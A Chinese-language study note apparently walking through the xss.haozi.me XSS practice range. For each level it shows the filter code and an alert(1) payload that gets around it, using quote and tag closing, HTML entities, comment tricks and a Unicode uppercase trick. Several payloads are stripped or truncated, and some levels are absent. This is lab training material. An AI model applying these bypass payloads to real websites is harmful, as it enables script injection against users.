XSS靶场练习 https://xss.haozi.me

 

https://xss.haozi.me

 

找到输入内容的输出点,确定是在html中还是js中。

 

0x00

function render (input) {

  return '
' + input + '
' }

在标签内且无过滤。

 

 

0x01

function render (input) {

  return ''

}

文本框标签中无法弹窗,所以闭合

 

 

0x02

function render (input) {

  return ''

}

插入的代码在input标签的value属性中,可以直接闭合input标签。

">

 

 

0x03

function render (input) {

  const stripBracketsRe = /[()]/g

  input = input.replace(stripBracketsRe, '')

  return input

}

过滤了圆括号。

模板字符串紧跟在函数名后面,该函数将被调用来处理这个模板字符串。

模板字符串使用反引号来代替普通字符串中的双引号和单引号。

 

 

0x04

function render (input) {

  const stripBracketsRe = /[()`]/g

  input = input.replace(stripBracketsRe, '')

  return input

}

过滤了圆括号和反引号。

标签中可以直接执行HTML实体字符。或者



 

0x05

function render (input) {

  input = input.replace(/-->/g, '')

  return ''

}

将-->替换成表情,并且输入的内容在注释中输出。

HTML两种注释方法:      这里我们可以用对称感叹号的方法注释。

--!> 注释掉后面的单引号和圆括号。



alert(1)

-->

 

0x0E

function render (input) {

  input = input.replace(/<([a-zA-Z])/g, '<_$1')

  input = input.toUpperCase()

  return '

' + input + '

' }

将 < 开头的不管后面是什么字母都通通加上一个_ ,所以所有的标签都不能用。

字符ſ大写后为S。

<ſcript src="https://xss.haozi.me/j.js">

 

 

 

0x0F

function render (input) {

  function escapeHtml(s) {

    return s.replace(/&/g, '&')

            .replace(/'/g, ''')

            .replace(/"/g, '"')

            .replace(//g, '>')

            .replace(/\//g, '/')

  }

  return ``

}

对字符 & ' " < > / 进行html编码,输入的内容在img标签中,所以编码没有影响。内容在console.error中,我们可以闭合console.error,并且在onerror属性中添加一个alert。

');alert('1

 

 

0x10

function render (input) {

  return `



  `

}

没有过滤,在script标签中直接执行。

alert(1)

 

 

 

0x11

// from alf.nu

function render (s) {

  function escapeJs (s) {

    return String(s)

            .replace(/\\/g, '\\\\')

            .replace(/'/g, '\\\'')

            .replace(/"/g, '\\"')

            .replace(/`/g, '\\`')

            .replace(//g, '\\76')

            .replace(/\//g, '\\/')

            .replace(/\n/g, '\\n')

            .replace(/\r/g, '\\r')

            .replace(/\t/g, '\\t')

            .replace(/\f/g, '\\f')

            .replace(/\v/g, '\\v')

            // .replace(/\b/g, '\\b')

            .replace(/\0/g, '\\0')

  }

  s = escapeJs(s)

  return `



`

}

过滤了很多的字符。并且将" 替换成   \"  ,但是并没有什么卵用,\正好可以当做是双引号里面的内容。输入的内容在javascript:console.log里面,我们将这个闭合以后添加一个alert然后把后面的注释掉。

");alert(1)//

 

 

 

0x12

// from alf.nu

function escape (s) {

  s = s.replace(/"/g, '\\"')

  return ''

}

将 " 替换成  \"  ,输入的内容在console.log里面,在html标签外面,所以不能进行html编码。

这里可以直接闭合掉script标签,重新添加一个

也可以将替换的  \"  的  \在前面再添加一个\转义掉。

\");alert(1);//

 

你可能感兴趣的:(web安全学习笔记)